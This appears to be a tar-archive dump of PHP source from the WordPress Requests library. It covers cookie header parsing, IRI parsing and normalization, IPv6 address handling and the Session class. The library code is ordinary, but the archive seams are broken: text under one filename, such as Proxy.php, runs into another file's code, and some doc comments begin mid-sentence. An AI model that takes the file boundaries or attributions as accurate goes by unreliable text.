return new static($name, $value, $attributes, [], $reference_time); } /** * Parse all Set-Cookie headers from request headers * * @param \WpOrg\Requests\Response\Headers $headers Headers to parse from * @param \WpOrg\Requests\Iri|null $origin URI for comparing cookie origins * @param int|null $time Reference time for expiration calculation * @return array */ public static function parse_from_headers(Headers $headers, Iri $origin = null, $time = null) { $cookie_headers = $headers->getValues('Set-Cookie'); if (empty($cookie_headers)) { return []; } $cookies = []; foreach ($cookie_headers as $header) { $parsed = self::parse($header, '', $time); // Default domain/path attributes if (empty($parsed->attributes['domain']) && !empty($origin)) { $parsed->attributes['domain'] = $origin->host; $parsed->flags['host-only'] = true; } else { $parsed->flags['host-only'] = false; } $path_is_valid = (!empty($parsed->attributes['path']) && $parsed->attributes['path'][0] === '/'); if (!$path_is_valid && !empty($origin)) { $path = $origin->path; // Default path normalization as per RFC 6265 section 5.1.4 if (substr($path, 0, 1) !== '/') { // If the uri-path is empty or if the first character of // the uri-path is not a %x2F ("/") character, output // %x2F ("/") and skip the remaining steps. $path = '/'; } elseif (substr_count($path, '/') === 1) { // If the uri-path contains no more than one %x2F ("/") // character, output %x2F ("/") and skip the remaining // step. $path = '/'; } else { // Output the characters of the uri-path from the first // character up to, but not including, the right-most // %x2F ("/"). $path = substr($path, 0, strrpos($path, '/')); } $parsed->attributes['path'] = $path; } // Reject invalid cookie domains if (!empty($origin) && !$parsed->domain_matches($origin->host)) { continue; } $cookies[$parsed->name] = $parsed; } return $cookies; } } Requests/src/Proxy.php000064400000001543151202620270011000 0ustar00 array( 'port' => Port::ACAP, ), 'dict' => array( 'port' => Port::DICT, ), 'file' => array( 'ihost' => 'localhost', ), 'http' => array( 'port' => Port::HTTP, ), 'https' => array( 'port' => Port::HTTPS, ), ); /** * Return the entire IRI when you try and read the object as a string * * @return string */ public function __toString() { return $this->get_iri(); } /** * Overload __set() to provide access via properties * * @param string $name Property name * @param mixed $value Property value */ public function __set($name, $value) { if (method_exists($this, 'set_' . $name)) { call_user_func(array($this, 'set_' . $name), $value); } elseif ( $name === 'iauthority' || $name === 'iuserinfo' || $name === 'ihost' || $name === 'ipath' || $name === 'iquery' || $name === 'ifragment' ) { call_user_func(array($this, 'set_' . substr($name, 1)), $value); } } /** * Overload __get() to provide access via properties * * @param string $name Property name * @return mixed */ public function __get($name) { // isset() returns false for null, we don't want to do that // Also why we use array_key_exists below instead of isset() $props = get_object_vars($this); if ( $name === 'iri' || $name === 'uri' || $name === 'iauthority' || $name === 'authority' ) { $method = 'get_' . $name; $return = $this->$method(); } elseif (array_key_exists($name, $props)) { $return = $this->$name; } // host -> ihost elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } // ischeme -> scheme elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } else { trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE); $return = null; } if ($return === null && isset($this->normalization[$this->scheme][$name])) { return $this->normalization[$this->scheme][$name]; } else { return $return; } } /** * Overload __isset() to provide access via properties * * @param string $name Property name * @return bool */ public function __isset($name) { return (method_exists($this, 'get_' . $name) || isset($this->$name)); } /** * Overload __unset() to provide access via properties * * @param string $name Property name */ public function __unset($name) { if (method_exists($this, 'set_' . $name)) { call_user_func(array($this, 'set_' . $name), ''); } } /** * Create a new IRI object, from a specified string * * @param string|Stringable|null $iri * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $iri argument is not a string, Stringable or null. */ public function __construct($iri = null) { if ($iri !== null && InputValidator::is_string_or_stringable($iri) === false) { throw InvalidArgument::create(1, '$iri', 'string|Stringable|null', gettype($iri)); } $this->set_iri($iri); } /** * Create a new IRI object by resolving a relative IRI * * Returns false if $base is not absolute, otherwise an IRI. * * @param \WpOrg\Requests\Iri|string $base (Absolute) Base IRI * @param \WpOrg\Requests\Iri|string $relative Relative IRI * @return \WpOrg\Requests\Iri|false */ public static function absolutize($base, $relative) { if (!($relative instanceof self)) { $relative = new self($relative); } if (!$relative->is_valid()) { return false; } elseif ($relative->scheme !== null) { return clone $relative; } if (!($base instanceof self)) { $base = new self($base); } if ($base->scheme === null || !$base->is_valid()) { return false; } if ($relative->get_iri() !== '') { if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) { $target = clone $relative; $target->scheme = $base->scheme; } else { $target = new self; $target->scheme = $base->scheme; $target->iuserinfo = $base->iuserinfo; $target->ihost = $base->ihost; $target->port = $base->port; if ($relative->ipath !== '') { if ($relative->ipath[0] === '/') { $target->ipath = $relative->ipath; } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') { $target->ipath = '/' . $relative->ipath; } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) { $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath; } else { $target->ipath = $relative->ipath; } $target->ipath = $target->remove_dot_segments($target->ipath); $target->iquery = $relative->iquery; } else { $target->ipath = $base->ipath; if ($relative->iquery !== null) { $target->iquery = $relative->iquery; } elseif ($base->iquery !== null) { $target->iquery = $base->iquery; } } $target->ifragment = $relative->ifragment; } } else { $target = clone $base; $target->ifragment = null; } $target->scheme_normalization(); return $target; } /** * Parse an IRI into scheme/authority/path/query/fragment segments * * @param string $iri * @return array */ protected function parse_iri($iri) { $iri = trim($iri, "\x20\x09\x0A\x0C\x0D"); $has_match = preg_match('/^((?P[^:\/?#]+):)?(\/\/(?P[^\/?#]*))?(?P[^?#]*)(\?(?P[^#]*))?(#(?P.*))?$/', $iri, $match); if (!$has_match) { throw new Exception('Cannot parse supplied IRI', 'iri.cannot_parse', $iri); } if ($match[1] === '') { $match['scheme'] = null; } if (!isset($match[3]) || $match[3] === '') { $match['authority'] = null; } if (!isset($match[5])) { $match['path'] = ''; } if (!isset($match[6]) || $match[6] === '') { $match['query'] = null; } if (!isset($match[8]) || $match[8] === '') { $match['fragment'] = null; } return $match; } /** * Remove dot segments from a path * * @param string $input * @return string */ protected function remove_dot_segments($input) { $output = ''; while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') { // A: If the input buffer begins with a prefix of "../" or "./", // then remove that prefix from the input buffer; otherwise, if (strpos($input, '../') === 0) { $input = substr($input, 3); } elseif (strpos($input, './') === 0) { $input = substr($input, 2); } // B: if the input buffer begins with a prefix of "/./" or "/.", // where "." is a complete path segment, then replace that prefix // with "/" in the input buffer; otherwise, elseif (strpos($input, '/./') === 0) { $input = substr($input, 2); } elseif ($input === '/.') { $input = '/'; } // C: if the input buffer begins with a prefix of "/../" or "/..", // where ".." is a complete path segment, then replace that prefix // with "/" in the input buffer and remove the last segment and its // preceding "/" (if any) from the output buffer; otherwise, elseif (strpos($input, '/../') === 0) { $input = substr($input, 3); $output = substr_replace($output, '', (strrpos($output, '/') ?: 0)); } elseif ($input === '/..') { $input = '/'; $output = substr_replace($output, '', (strrpos($output, '/') ?: 0)); } // D: if the input buffer consists only of "." or "..", then remove // that from the input buffer; otherwise, elseif ($input === '.' || $input === '..') { $input = ''; } // E: move the first path segment in the input buffer to the end of // the output buffer, including the initial "/" character (if any) // and any subsequent characters up to, but not including, the next // "/" character or the end of the input buffer elseif (($pos = strpos($input, '/', 1)) !== false) { $output .= substr($input, 0, $pos); $input = substr_replace($input, '', 0, $pos); } else { $output .= $input; $input = ''; } } return $output . $input; } /** * Replace invalid character with percent encoding * * @param string $text Input string * @param string $extra_chars Valid characters not in iunreserved or * iprivate (this is ASCII-only) * @param bool $iprivate Allow iprivate * @return string */ protected function replace_invalid_with_pct_encoding($text, $extra_chars, $iprivate = false) { // Normalize as many pct-encoded sections as possible $text = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', array($this, 'remove_iunreserved_percent_encoded'), $text); // Replace invalid percent characters $text = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $text); // Add unreserved and % to $extra_chars (the latter is safe because all // pct-encoded sections are now valid). $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%'; // Now replace any bytes that aren't allowed with their pct-encoded versions $position = 0; $strlen = strlen($text); while (($position += strspn($text, $extra_chars, $position)) < $strlen) { $value = ord($text[$position]); // Start position $start = $position; // By default we are valid $valid = true; // No one byte sequences are valid due to the while. // Two byte sequence: if (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $length = 1; $remaining = 0; } if ($remaining) { if ($position + $length <= $strlen) { for ($position++; $remaining; $position++) { $value = ord($text[$position]); // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $character |= ($value & 0x3F) << (--$remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte: else { $valid = false; $position--; break; } } } else { $position = $strlen - 1; $valid = false; } } // Percent encode anything invalid or not in ucschar if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of ucschar codepoints // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF || ( // Everything else not in ucschar $character > 0xD7FF && $character < 0xF900 || $character < 0xA0 || $character > 0xEFFFD ) && ( // Everything not in iprivate, if it applies !$iprivate || $character < 0xE000 || $character > 0x10FFFD ) ) { // If we were a character, pretend we weren't, but rather an error. if ($valid) { $position--; } for ($j = $start; $j <= $position; $j++) { $text = substr_replace($text, sprintf('%%%02X', ord($text[$j])), $j, 1); $j += 2; $position += 2; $strlen += 2; } } } return $text; } /** * Callback function for preg_replace_callback. * * Removes sequences of percent encoded bytes that represent UTF-8 * encoded characters in iunreserved * * @param array $regex_match PCRE match * @return string Replacement */ protected function remove_iunreserved_percent_encoded($regex_match) { // As we just have valid percent encoded sequences we can just explode // and ignore the first member of the returned array (an empty string). $bytes = explode('%', $regex_match[0]); // Initialize the new string (this is what will be returned) and that // there are no bytes remaining in the current sequence (unsurprising // at the first byte!). $string = ''; $remaining = 0; // Loop over each and every byte, and set $value to its value for ($i = 1, $len = count($bytes); $i < $len; $i++) { $value = hexdec($bytes[$i]); // If we're the first byte of sequence: if (!$remaining) { // Start position $start = $i; // By default we are valid $valid = true; // One byte sequence: if ($value <= 0x7F) { $character = $value; $length = 1; } // Two byte sequence: elseif (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $remaining = 0; } } // Continuation byte: else { // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $remaining--; $character |= ($value & 0x3F) << ($remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte as the start of a sequence: else { $valid = false; $remaining = 0; $i--; } } // If we've reached the end of the current byte sequence, append it to Unicode::$data if (!$remaining) { // Percent encode anything invalid or not in iunreserved if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of iunreserved codepoints || $character < 0x2D || $character > 0xEFFFD // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF // Everything else not in iunreserved (this is all BMP) || $character === 0x2F || $character > 0x39 && $character < 0x41 || $character > 0x5A && $character < 0x61 || $character > 0x7A && $character < 0x7E || $character > 0x7E && $character < 0xA0 || $character > 0xD7FF && $character < 0xF900 ) { for ($j = $start; $j <= $i; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } else { for ($j = $start; $j <= $i; $j++) { $string .= chr(hexdec($bytes[$j])); } } } } // If we have any bytes left over they are invalid (i.e., we are // mid-way through a multi-byte sequence) if ($remaining) { for ($j = $start; $j < $len; $j++) { $string .= '%' . strtoupper($bytes[$j]); } } return $string; } protected function scheme_normalization() { if (isset($this->normalization[$this->scheme]['iuserinfo']) && $this->iuserinfo === $this->normalization[$this->scheme]['iuserinfo']) { $this->iuserinfo = null; } if (isset($this->normalization[$this->scheme]['ihost']) && $this->ihost === $this->normalization[$this->scheme]['ihost']) { $this->ihost = null; } if (isset($this->normalization[$this->scheme]['port']) && $this->port === $this->normalization[$this->scheme]['port']) { $this->port = null; } if (isset($this->normalization[$this->scheme]['ipath']) && $this->ipath === $this->normalization[$this->scheme]['ipath']) { $this->ipath = ''; } if (isset($this->ihost) && empty($this->ipath)) { $this->ipath = '/'; } if (isset($this->normalization[$this->scheme]['iquery']) && $this->iquery === $this->normalization[$this->scheme]['iquery']) { $this->iquery = null; } if (isset($this->normalization[$this->scheme]['ifragment']) && $this->ifragment === $this->normalization[$this->scheme]['ifragment']) { $this->ifragment = null; } } /** * Check if the object represents a valid IRI. This needs to be done on each * call as some things change depending on another part of the IRI. * * @return bool */ public function is_valid() { $isauthority = $this->iuserinfo !== null || $this->ihost !== null || $this->port !== null; if ($this->ipath !== '' && ( $isauthority && $this->ipath[0] !== '/' || ( $this->scheme === null && !$isauthority && strpos($this->ipath, ':') !== false && (strpos($this->ipath, '/') === false ? true : strpos($this->ipath, ':') < strpos($this->ipath, '/')) ) ) ) { return false; } return true; } public function __wakeup() { $class_props = get_class_vars( __CLASS__ ); $string_props = array( 'scheme', 'iuserinfo', 'ihost', 'port', 'ipath', 'iquery', 'ifragment' ); $array_props = array( 'normalization' ); foreach ( $class_props as $prop => $default_value ) { if ( in_array( $prop, $string_props, true ) && ! is_string( $this->$prop ) ) { throw new UnexpectedValueException(); } elseif ( in_array( $prop, $array_props, true ) && ! is_array( $this->$prop ) ) { throw new UnexpectedValueException(); } $this->$prop = null; } } /** * Set the entire IRI. Returns true on success, false on failure (if there * are any invalid characters). * * @param string $iri * @return bool */ protected function set_iri($iri) { static $cache; if (!$cache) { $cache = array(); } if ($iri === null) { return true; } $iri = (string) $iri; if (isset($cache[$iri])) { list($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return) = $cache[$iri]; return $return; } $parsed = $this->parse_iri($iri); $return = $this->set_scheme($parsed['scheme']) && $this->set_authority($parsed['authority']) && $this->set_path($parsed['path']) && $this->set_query($parsed['query']) && $this->set_fragment($parsed['fragment']); $cache[$iri] = array($this->scheme, $this->iuserinfo, $this->ihost, $this->port, $this->ipath, $this->iquery, $this->ifragment, $return); return $return; } /** * Set the scheme. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $scheme * @return bool */ protected function set_scheme($scheme) { if ($scheme === null) { $this->scheme = null; } elseif (!preg_match('/^[A-Za-z][0-9A-Za-z+\-.]*$/', $scheme)) { $this->scheme = null; return false; } else { $this->scheme = strtolower($scheme); } return true; } /** * Set the authority. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $authority * @return bool */ protected function set_authority($authority) { static $cache; if (!$cache) { $cache = array(); } if ($authority === null) { $this->iuserinfo = null; $this->ihost = null; $this->port = null; return true; } if (isset($cache[$authority])) { list($this->iuserinfo, $this->ihost, $this->port, $return) = $cache[$authority]; return $return; } $remaining = $authority; if (($iuserinfo_end = strrpos($remaining, '@')) !== false) { $iuserinfo = substr($remaining, 0, $iuserinfo_end); $remaining = substr($remaining, $iuserinfo_end + 1); } else { $iuserinfo = null; } if (($port_start = strpos($remaining, ':', (strpos($remaining, ']') ?: 0))) !== false) { $port = substr($remaining, $port_start + 1); if ($port === false || $port === '') { $port = null; } $remaining = substr($remaining, 0, $port_start); } else { $port = null; } $return = $this->set_userinfo($iuserinfo) && $this->set_host($remaining) && $this->set_port($port); $cache[$authority] = array($this->iuserinfo, $this->ihost, $this->port, $return); return $return; } /** * Set the iuserinfo. * * @param string $iuserinfo * @return bool */ protected function set_userinfo($iuserinfo) { if ($iuserinfo === null) { $this->iuserinfo = null; } else { $this->iuserinfo = $this->replace_invalid_with_pct_encoding($iuserinfo, '!$&\'()*+,;=:'); $this->scheme_normalization(); } return true; } /** * Set the ihost. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $ihost * @return bool */ protected function set_host($ihost) { if ($ihost === null) { $this->ihost = null; return true; } if (substr($ihost, 0, 1) === '[' && substr($ihost, -1) === ']') { if (Ipv6::check_ipv6(substr($ihost, 1, -1))) { $this->ihost = '[' . Ipv6::compress(substr($ihost, 1, -1)) . ']'; } else { $this->ihost = null; return false; } } else { $ihost = $this->replace_invalid_with_pct_encoding($ihost, '!$&\'()*+,;='); // Lowercase, but ignore pct-encoded sections (as they should // remain uppercase). This must be done after the previous step // as that can add unescaped characters. $position = 0; $strlen = strlen($ihost); while (($position += strcspn($ihost, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ%', $position)) < $strlen) { if ($ihost[$position] === '%') { $position += 3; } else { $ihost[$position] = strtolower($ihost[$position]); $position++; } } $this->ihost = $ihost; } $this->scheme_normalization(); return true; } /** * Set the port. Returns true on success, false on failure (if there are * any invalid characters). * * @param string $port * @return bool */ protected function set_port($port) { if ($port === null) { $this->port = null; return true; } if (strspn($port, '0123456789') === strlen($port)) { $this->port = (int) $port; $this->scheme_normalization(); return true; } $this->port = null; return false; } /** * Set the ipath. * * @param string $ipath * @return bool */ protected function set_path($ipath) { static $cache; if (!$cache) { $cache = array(); } $ipath = (string) $ipath; if (isset($cache[$ipath])) { $this->ipath = $cache[$ipath][(int) ($this->scheme !== null)]; } else { $valid = $this->replace_invalid_with_pct_encoding($ipath, '!$&\'()*+,;=@:/'); $removed = $this->remove_dot_segments($valid); $cache[$ipath] = array($valid, $removed); $this->ipath = ($this->scheme !== null) ? $removed : $valid; } $this->scheme_normalization(); return true; } /** * Set the iquery. * * @param string $iquery * @return bool */ protected function set_query($iquery) { if ($iquery === null) { $this->iquery = null; } else { $this->iquery = $this->replace_invalid_with_pct_encoding($iquery, '!$&\'()*+,;=:@/?', true); $this->scheme_normalization(); } return true; } /** * Set the ifragment. * * @param string $ifragment * @return bool */ protected function set_fragment($ifragment) { if ($ifragment === null) { $this->ifragment = null; } else { $this->ifragment = $this->replace_invalid_with_pct_encoding($ifragment, '!$&\'()*+,;=:@/?'); $this->scheme_normalization(); } return true; } /** * Convert an IRI to a URI (or parts thereof) * * @param string|bool $iri IRI to convert (or false from {@see \WpOrg\Requests\Iri::get_iri()}) * @return string|false URI if IRI is valid, false otherwise. */ protected function to_uri($iri) { if (!is_string($iri)) { return false; } static $non_ascii; if (!$non_ascii) { $non_ascii = implode('', range("\x80", "\xFF")); } $position = 0; $strlen = strlen($iri); while (($position += strcspn($iri, $non_ascii, $position)) < $strlen) { $iri = substr_replace($iri, sprintf('%%%02X', ord($iri[$position])), $position, 1); $position += 3; $strlen += 2; } return $iri; } /** * Get the complete IRI * * @return string|false */ protected function get_iri() { if (!$this->is_valid()) { return false; } $iri = ''; if ($this->scheme !== null) { $iri .= $this->scheme . ':'; } if (($iauthority = $this->get_iauthority()) !== null) { $iri .= '//' . $iauthority; } $iri .= $this->ipath; if ($this->iquery !== null) { $iri .= '?' . $this->iquery; } if ($this->ifragment !== null) { $iri .= '#' . $this->ifragment; } return $iri; } /** * Get the complete URI * * @return string */ protected function get_uri() { return $this->to_uri($this->get_iri()); } /** * Get the complete iauthority * * @return string|null */ protected function get_iauthority() { if ($this->iuserinfo === null && $this->ihost === null && $this->port === null) { return null; } $iauthority = ''; if ($this->iuserinfo !== null) { $iauthority .= $this->iuserinfo . '@'; } if ($this->ihost !== null) { $iauthority .= $this->ihost; } if ($this->port !== null) { $iauthority .= ':' . $this->port; } return $iauthority; } /** * Get the complete authority * * @return string */ protected function get_authority() { $iauthority = $this->get_iauthority(); if (is_string($iauthority)) { return $this->to_uri($iauthority); } else { return $iauthority; } } } Requests/src/Ipv6.php000064400000013007151202620270010501 0ustar00 FF01:0:0:0:0:0:0:101 * ::1 -> 0:0:0:0:0:0:0:1 * * @author Alexander Merz * @author elfrink at introweb dot nl * @author Josh Peck * @copyright 2003-2005 The PHP Group * @license https://opensource.org/licenses/bsd-license.php * * @param string|Stringable $ip An IPv6 address * @return string The uncompressed IPv6 address * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object. */ public static function uncompress($ip) { if (InputValidator::is_string_or_stringable($ip) === false) { throw InvalidArgument::create(1, '$ip', 'string|Stringable', gettype($ip)); } $ip = (string) $ip; if (substr_count($ip, '::') !== 1) { return $ip; } list($ip1, $ip2) = explode('::', $ip); $c1 = ($ip1 === '') ? -1 : substr_count($ip1, ':'); $c2 = ($ip2 === '') ? -1 : substr_count($ip2, ':'); if (strpos($ip2, '.') !== false) { $c2++; } if ($c1 === -1 && $c2 === -1) { // :: $ip = '0:0:0:0:0:0:0:0'; } elseif ($c1 === -1) { // ::xxx $fill = str_repeat('0:', 7 - $c2); $ip = str_replace('::', $fill, $ip); } elseif ($c2 === -1) { // xxx:: $fill = str_repeat(':0', 7 - $c1); $ip = str_replace('::', $fill, $ip); } else { // xxx::xxx $fill = ':' . str_repeat('0:', 6 - $c2 - $c1); $ip = str_replace('::', $fill, $ip); } return $ip; } /** * Compresses an IPv6 address * * RFC 4291 allows you to compress consecutive zero pieces in an address to * '::'. This method expects a valid IPv6 address and compresses consecutive * zero pieces to '::'. * * Example: FF01:0:0:0:0:0:0:101 -> FF01::101 * 0:0:0:0:0:0:0:1 -> ::1 * * @see \WpOrg\Requests\Ipv6::uncompress() * * @param string $ip An IPv6 address * @return string The compressed IPv6 address */ public static function compress($ip) { // Prepare the IP to be compressed. // Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method. $ip = self::uncompress($ip); $ip_parts = self::split_v6_v4($ip); // Replace all leading zeros $ip_parts[0] = preg_replace('/(^|:)0+([0-9])/', '\1\2', $ip_parts[0]); // Find bunches of zeros if (preg_match_all('/(?:^|:)(?:0(?::|$))+/', $ip_parts[0], $matches, PREG_OFFSET_CAPTURE)) { $max = 0; $pos = null; foreach ($matches[0] as $match) { if (strlen($match[0]) > $max) { $max = strlen($match[0]); $pos = $match[1]; } } $ip_parts[0] = substr_replace($ip_parts[0], '::', $pos, $max); } if ($ip_parts[1] !== '') { return implode(':', $ip_parts); } else { return $ip_parts[0]; } } /** * Splits an IPv6 address into the IPv6 and IPv4 representation parts * * RFC 4291 allows you to represent the last two parts of an IPv6 address * using the standard IPv4 representation * * Example: 0:0:0:0:0:0:13.1.68.3 * 0:0:0:0:0:FFFF:129.144.52.38 * * @param string $ip An IPv6 address * @return string[] [0] contains the IPv6 represented part, and [1] the IPv4 represented part */ private static function split_v6_v4($ip) { if (strpos($ip, '.') !== false) { $pos = strrpos($ip, ':'); $ipv6_part = substr($ip, 0, $pos); $ipv4_part = substr($ip, $pos + 1); return [$ipv6_part, $ipv4_part]; } else { return [$ip, '']; } } /** * Checks an IPv6 address * * Checks if the given IP is a valid IPv6 address * * @param string $ip An IPv6 address * @return bool true if $ip is a valid IPv6 address */ public static function check_ipv6($ip) { // Note: Input validation is handled in the `uncompress()` method, which is the first call made in this method. $ip = self::uncompress($ip); list($ipv6, $ipv4) = self::split_v6_v4($ip); $ipv6 = explode(':', $ipv6); $ipv4 = explode('.', $ipv4); if (count($ipv6) === 8 && count($ipv4) === 1 || count($ipv6) === 6 && count($ipv4) === 4) { foreach ($ipv6 as $ipv6_part) { // The section can't be empty if ($ipv6_part === '') { return false; } // Nor can it be over four characters if (strlen($ipv6_part) > 4) { return false; } // Remove leading zeros (this is safe because of the above) $ipv6_part = ltrim($ipv6_part, '0'); if ($ipv6_part === '') { $ipv6_part = '0'; } // Check the value is valid $value = hexdec($ipv6_part); if (dechex($value) !== strtolower($ipv6_part) || $value < 0 || $value > 0xFFFF) { return false; } } if (count($ipv4) === 4) { foreach ($ipv4 as $ipv4_part) { $value = (int) $ipv4_part; if ((string) $value !== $ipv4_part || $value < 0 || $value > 0xFF) { return false; } } } return true; } else { return false; } } } Requests/src/Transport.php000064400000003010151202620270011642 0ustar00 $capabilities Optional. Associative array of capabilities to test against, i.e. `['' => true]`. * @return bool Whether the transport can be used. */ public static function test($capabilities = []); } Requests/src/Session.php000064400000021623151202620270011303 0ustar00useragent = 'X';` * * @var array */ public $options = []; /** * Create a new session * * @param string|Stringable|null $url Base URL for requests * @param array $headers Default headers for requests * @param array $data Default data for requests * @param array $options Default options for requests * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or null. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $headers argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not an array. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function __construct($url = null, $headers = [], $data = [], $options = []) { if ($url !== null && InputValidator::is_string_or_stringable($url) === false) { throw InvalidArgument::create(1, '$url', 'string|Stringable|null', gettype($url)); } if (is_array($headers) === false) { throw InvalidArgument::create(2, '$headers', 'array', gettype($headers)); } if (is_array($data) === false) { throw InvalidArgument::create(3, '$data', 'array', gettype($data)); } if (is_array($options) === false) { throw InvalidArgument::create(4, '$options', 'array', gettype($options)); } $this->url = $url; $this->headers = $headers; $this->data = $data; $this->options = $options; if (empty($this->options['cookies'])) { $this->options['cookies'] = new Jar(); } } /** * Get a property's value * * @param string $name Property name. * @return mixed|null Property value, null if none found */ public function __get($name) { if (isset($this->options[$name])) { return $this->options[$name]; } return null; } /** * Set a property's value * * @param string $name Property name. * @param mixed $value Property value */ public function __set($name, $value) { $this->options[$name] = $value; } /** * Remove a property's value * * @param string $name Property name. */ public function __isset($name) { return isset($this->options[$name]); } /** * Remove a property's value * * @param string $name Property name. */ public function __unset($name) { unset($this->options[$name]); } /**#@+ * @see \WpOrg\Requests\Session::request() * @param string $url * @param array $headers * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a GET request */ public function get($url, $headers = [], $options = []) { return $this->request($url, $headers, null, Requests::GET, $options); } /** * Send a HEAD request */ public function head($url, $headers = [], $options = []) { return $this->request($url, $headers, null, Requests::HEAD, $options); } /** * Send a DELETE request */ public function delete($url, $headers = [], $options = []) { return $this->request($url, $headers, null, Requests::DELETE, $options); } /**#@-*/ /**#@+ * @see \WpOrg\Requests\Session::request() * @param string $url * @param array $headers * @param array $data * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a POST request */ public function post($url, $headers = [], $data = [], $options = []) { return $this->request($url, $headers, $data, Requests::POST, $options); } /** * Send a PUT request */ public function put($url, $headers = [], $data = [], $options = []) { return $this->request($url, $headers, $data, Requests::PUT, $options); } /** * Send a PATCH request * * Note: Unlike {@see \WpOrg\Requests\Session::post()} and {@see \WpOrg\Requests\Session::put()}, * `$headers` is required, as the specification recommends that should send an ETag * * @link https://tools.ietf.org/html/rfc5789 */ public function patch($url, $headers, $data = [], $options = []) { return $this->request($url, $headers, $data, Requests::PATCH, $options); } /**#@-*/ /** * Main interface for HTTP requests * * This method initiates a request and sends it via a transport before * parsing. * * @see \WpOrg\Requests\Requests::request() * * @param string $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type (use \WpOrg\Requests\Requests constants) * @param array $options Options for the request (see {@see \WpOrg\Requests\Requests::request()}) * @return \WpOrg\Requests\Response * * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`) */ public function request($url, $headers = [], $data = [], $type = Requests::GET, $options = []) { $request = $this->merge_request(compact('url', 'headers', 'data', 'options')); return Requests::request($request['url'], $request['headers'], $request['data'], $type, $request['options']); } /** * Send multiple HTTP requests simultaneously * * @see \WpOrg\Requests\Requests::request_multiple() * * @param array $requests Requests data (see {@see \WpOrg\Requests\Requests::request_multiple()}) * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()}) * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public function request_multiple($requests, $options = []) { if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } foreach ($requests as $key => $request) { $requests[$key] = $this->merge_request($request, false); } $options = array_merge($this->options, $options); // Disallow forcing the type, as that's a per request setting unset($options['type']); return Requests::request_multiple($requests, $options); } public function __wakeup() { throw new \LogicException( __CLASS__ . ' should never be unserialized' ); } /** * Merge a request's data with the default data * * @param array $request Request data (same form as {@see \WpOrg\Requests\Session::request_multiple()}) * @param boolean $merge_options Should we merge options as well? * @return array Request data */ protected function merge_request($request, $merge_options = true) { if ($this->url !== null) { $request['url'] = Iri::absolutize($this->url, $request['url']); $request['url'] = $request['url']->uri; } if (empty($request['headers'])) { $request['headers'] = []; } $request['headers'] = array_merge($this->headers, $request['headers']); if (empty($request['data'])) { if (is_array($this->data)) { $request['data'] = $this->data; } } elseif (is_array($request['data']) && is_array($this->data)) { $request['data'] = array_merge($this->data, $request['data']); } if ($merge_options === true) { $request['options'] = array_merge($this->options, $request['options']); // Disallow forcing the type, as that's a per request setting unset($request['options']['type']); } return $request; } } 